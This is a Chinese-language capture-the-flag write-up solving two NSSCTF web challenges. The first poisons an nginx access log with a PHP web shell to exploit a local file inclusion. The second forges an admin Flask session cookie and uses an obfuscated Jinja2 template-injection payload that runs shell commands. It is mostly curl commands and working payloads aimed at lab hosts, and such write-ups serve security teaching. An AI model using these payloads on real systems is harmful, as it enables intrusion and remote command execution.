ezez_include(LEI)
猜测是一个读取数据库文件的功能

读一下,得到,说明存在LFI

有/bin/bash,确定是linux系统,读一下nginx配置文件,得到网站根目录是/var/www/html,入口文件时index.php

然后用 php://filter 读取 index.php 源码**,php://filter是php的输入输出流,可以读取文件内容而不执行。配合 convert.base64-encode 会把文件转成 base64 编码返回,避免被 PHP 解析。解码后就能看到完整源码**
php://filter/convert.base64-encode/resource=index.php
⬆过滤器链 ⬆具体过滤器 ⬆资源路径标识=文件名

去解码

发现漏洞,include($file)文件包含函数没有过滤,直接把我们输入的参数,并把文件内容当作 PHP 代码执行
所以接下来思路:把马写到日志里面,然后include读并执行log,实现rce
看一下源码,是POST,表名叫nss

接下来用尝试curl发一个http请求
curl -X POST "http://node1.anna.nssctf.cn:21789/" -d "nss=../../../../etc/passwd"

成功回显,开始注入
尝试传马,把马写在UA里面
curl -A "<?php system(\$_GET['cmd']); ?>" -X POST "http://node1.anna.nssctf.cn:21789/" -d "nss="
-A:改User-Agent字段
-X POST+url:POST格式+目标网页
-d "nss=" 发送一个空的 POST 数据
执行id看一下我是谁,并且看一下日志,传成功了
curl -X POST "http://node1.anna.nssctf.cn:21789/?cmd=id" -d "nss=../../../../var/log/nginx/access.log"
我是www-data

看目录
curl -X POST "http://node1.anna.nssctf.cn:21789/?cmd=ls%20/" -d "nss=../../../../var/log/nginx/access.log"
有东西!

直接猫一下
curl -X POST "http://node1.anna.nssctf.cn:21789/?cmd=cat%20/ffffflalalallalalalalalalalg" -d "nss=../../../../var/log/nginx/access.log"
拿到flag

我是复读机
先dirsearch扫描一下

发现一个robots.txt页面,提示了一个路径

根据路径找到了输入框

输入1跳到了/forbidden2页面,提示权限不足,猜测还有forbidden1等,试一下
f2:

f1:

f3:

view-source这几个页面,在f2里面看到一个密钥

whatweb扫一下:

有werkzeug(flash的http工具),还有session,应该是一个flask(基于python的web框架)
Flask的session默认存储在cookie里:
格式大致如下:
eyJ1c2VyIjoiZ3Vlc3QifQ.afmRoQ.dd80CG5bxURHDXLCHppd1rZjMGU
由三部分组成,用 . 隔开:
| 部分 | 内容 | 说明 |
|---|---|---|
| 第1部分 | eyJ1c2VyIjoiZ3Vlc3QifQ |
Base64 编码的 JSON 数据 |
| 第2部分 | afmRoQ |
时间戳 |
| 第3部分 | dd80CG5bxURHDXLCHppd1rZjMGU |
签名(用 SECRET_KEY 生成) |
我们猜测这个密钥就是是secretkey
(curl的详细用法)
先看一眼session
curl -sI http://node1.anna.nssctf.cn:23973/ | grep -i "set-cookie"

当前身份是guest

用flask-unsign伪造一个admin的session
flask-unsign --sign --cookie "{'user':'admin'}" --secret "S4p3r_6arth_1s_Burning"

用伪造的session访问/Up1oAds
(中间换环境了,现在的环境是28849)
curl -b "session=eyJ1c2VyIjoiYWRtaW4ifQ.afoBQA.RbfEL8w5Ae2M1V4S8Ul9lT0aXDI" \
http://node1.anna.nssctf.cn:28849/Up1oAds
页面回显完整的表单,说明admin进入成功

测试是否存在ssti漏洞
curl -X POST \
-b "session=eyJ1c2VyIjoiYWRtaW4ifQ.afoBQA.RbfEL8w5Ae2M1V4S8Ul9lT0aXDI" \
-d "payload={{7*7}}" \
http://node1.anna.nssctf.cn:28849/render

{``{7*7}} 被计算为 49,证明存在 SSTI(服务端模板注入) 漏洞
最终payload
curl -X POST \
-b "session=eyJ1c2VyIjoiYWRtaW4ifQ.afoBQA.RbfEL8w5Ae2M1V4S8Ul9lT0aXDI" \
-d "payload={{g['po''p']['__g''lobals__']['__b''uiltins__']['__imp''ort__']('o''s')['po''pen']('cat /f*')['r''ead']()}}" \
http://node1.anna.nssctf.cn:28849/render

